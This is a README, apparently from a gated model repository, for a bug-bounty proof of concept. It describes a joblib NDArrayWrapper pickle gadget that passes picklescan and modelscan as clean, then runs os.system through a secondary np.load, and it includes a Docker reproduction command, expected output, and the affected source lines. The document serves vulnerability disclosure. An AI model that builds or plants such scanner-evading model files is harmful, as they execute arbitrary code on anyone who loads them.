heehee0219's picture
docs: README explaining gated PoC
0a7fe20 verified
|
Raw
History Blame Contribute Delete
1.64 kB
metadata
license: mit
tags:
  - security-poc
  - huntr-mfv
  - joblib

joblib-ndarraywrapper-poc

Demonstrator artifact for huntr MFV report — joblib NDArrayWrapper compat-mode gadget bypasses picklescan + modelscan and triggers RCE via secondary np.load(..., allow_pickle=True).

This repository is intentionally gated. Files are released only to protectai-bot (huntr triage) for verification.

Files

  • model.joblib — 142-byte gadget pickle. Holds an NDArrayWrapper whose .filename field points at stage2.npy. picklescan and modelscan both report this file as clean.
  • stage2.npy — 351-byte object-dtype .npy whose pickled element executes os.system('id > /tmp/pwned.txt; echo PWNED >> /tmp/pwned.txt') via __reduce__.

Reproduce locally (Docker)

docker run --rm -it -v "$PWD":/poc -w /poc python:3.12-slim bash -lc '
  pip install -q joblib==1.5.3 numpy picklescan modelscan && \
  cp stage2.npy /tmp/stage2.npy && \
  picklescan --path model.joblib && \
  modelscan -p model.joblib && \
  python -c "import joblib; joblib.load(\"model.joblib\")" && \
  cat /tmp/pwned.txt
'

Expected output:

Infected files: 0       # picklescan clean
No issues found! 🎉      # modelscan clean
uid=0(root) gid=0(root) groups=0(root)
PWNED                   # RCE

Affected: joblib 1.5.3 (PyPI latest 2025-12-15) and joblib 1.6.dev0 (repo HEAD). Sink: joblib/numpy_pickle_compat.py:97-111. Reach: joblib/numpy_pickle.py:438-467 (NumpyUnpickler.load_build).

Distinct from CVE-2024-34997 (different file, class, sink, attacker control surface). See huntr submission for the full writeup.